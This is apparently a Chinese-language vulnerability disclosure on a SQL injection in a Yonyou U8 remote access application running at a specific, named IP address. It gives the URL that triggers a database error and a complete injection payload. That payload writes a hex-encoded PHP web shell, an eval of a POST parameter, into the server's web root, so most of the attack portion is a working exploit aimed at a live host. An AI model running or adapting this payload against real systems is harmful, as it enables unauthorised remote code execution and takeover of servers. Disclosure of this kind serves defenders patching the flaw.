用友某系统SQL注入

### 简要描述： SQL注入未及时升级导致getshell。 ### 详细说明： 存在问题的IP：139.129.98.49 其443、801端口分别运行了U8远程接入应用，存在已知的SQL注入漏洞。 漏洞参考： [WooYun: 用友优普U8系统两处sql注入可无限制getshell(无需登陆)](http://www.wooyun.org/bugs/wooyun-2015-0130069) 报错： https://139.129.98.49/Server/CmxcheckBind.php?b=2&a=1%cc [<img src="https://images.seebug.org/upload/201605/30230528fca060cebe63a38248076929829e1b91.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201605/30230528fca060cebe63a38248076929829e1b91.png) 写shell： ``` http://139.129.98.49:801/Server/CmxcheckBind.php?b=2&a=1' and 1=2 union select 0x3c3f70687020406576616c28245f504f53545b635d293b3f3e into outfile 'D:/U8SOFT/RasMini/rasweb/Apache2/htdocs/smarty-2.6.19/Server/help.php'--%20 ``` [<img src="https://images.seebug.org/upload/201605/302306357b672c400de6593d7554bd1927ef407c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201605/302306357b672c400de6593d7554bd1927ef407c.png) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201605/302306357b672c400de6593d7554bd1927ef407c.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201605/302306357b672c400de6593d7554bd1927ef407c.png)